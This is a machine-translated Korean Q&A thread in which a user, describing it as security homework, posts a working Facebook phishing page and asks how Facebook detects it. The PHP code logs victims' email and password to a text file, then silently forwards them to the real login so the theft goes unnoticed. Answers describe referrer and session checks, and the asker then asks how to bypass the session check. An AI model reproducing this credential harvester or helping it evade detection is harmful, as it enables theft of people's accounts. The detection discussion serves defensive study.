2014-10-31 8 views
1

저는 컴퓨터 보안에 대한 약간의 숙제를하고 있으며 현재 피싱 작업을하고 있습니다.Facebook 피싱 감지

그래서 교육적인 목적으로 필자는 단순한 "피싱 웹 페이지"를 작성했으며 Facebook에서 피싱 사기성 웹 페이지를 감지하는 방법을 이해하려고 노력하고 있습니다.

index.html은 페이스 북의 메인 페이지이며 사용자를 phishing.php 페이지로 리디렉션하기 위해 편집했습니다.

phishing.php

:

<?php 
$file = fopen('phishing.txt', 'a'); 
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n"); 
fclose($file); 
?> 

<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm"> 
<?php 
    foreach ($_POST as $a => $b) { 
     echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>"; 
    } 
?> 

</form> 
<script language="JavaScript"> 
    document.frm.submit(); 
</script> 

내 질문은 여기에 온다. 모든 것이 잘 작동, 사용자가 한 번 (나) 사용자 이름과 비밀번호를한다 들어간다는 사실을 제외, 페이스 북은 말한다 :

보안주의 사항 : 보안을 위해, 페이스 북에없는 사이트에 페이스 북 비밀번호 를 입력하지 .com

이렇게 피싱 페이지를 탐지하기 위해 Facebook에서 어떤 메커니즘을 사용합니까?

감사합니다.

+1

리퍼러가 실제로 페이스 북에서 온 것인지 아닌지를 확인합니다. – Ali

답변

3

나는 페이스 북이 방법 1이

않습니다 많은 방법을 생각 할 수 있습니다 : 당신은 페이스 북 어디에서 왔는지 HTTP 리퍼러
보내는 모든 HTTP 요청에서이 리퍼러가 그와 함께 전송을 나타 내기 위해 다음

$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST); 
if($referer != 'facebook.com') // Phishing 

방법 두 가지를 간단하게 할 수 있습니다 세션
는 페이스 북은 checke됩니다 자신의 index.php 페이지에 세션을 시작할 수 있습니다 한번 예

index.php 
$_SESSION['coming_from_facebook'] = true; 

login.php 
if($_SESSION['coming_from_facebook'] != true) // Phishing 

이를 위해 로그인 양식 제출 d는 모든 사이비 - 코드 사용자가 참조 자 수정할 수있는 첫 번째 방법은 바이 패스 가능한 용이하다.

+0

방법 2에 대한 질문이 있습니다. 어떻게 index.php에서'$ _SESSION [ 'coming_from_facebook']'을 false로 설정할 수 있습니까? 그것은 당신이 말하는 것이 무엇인지에 따라 항상 참으로 설정됩니다. 그러면 피싱 테스트는 어떻게됩니까? 또한이 방법을 우회 할 수 있다고 생각하십니까? –

+1

@segfolt 항상 페이스 북의 인덱스를 방문하면 페이스 북의 인덱스가 아닌 다른 페이지에서 로그인하는 경우에만 true로 설정됩니다. 작동하지 않습니다. – Ali

+0

내 'phishing.php'스크립트에서 Facebook.com 페이지에 대한 더미 요청을하면이 방법을 건너 뛰겠습니까? –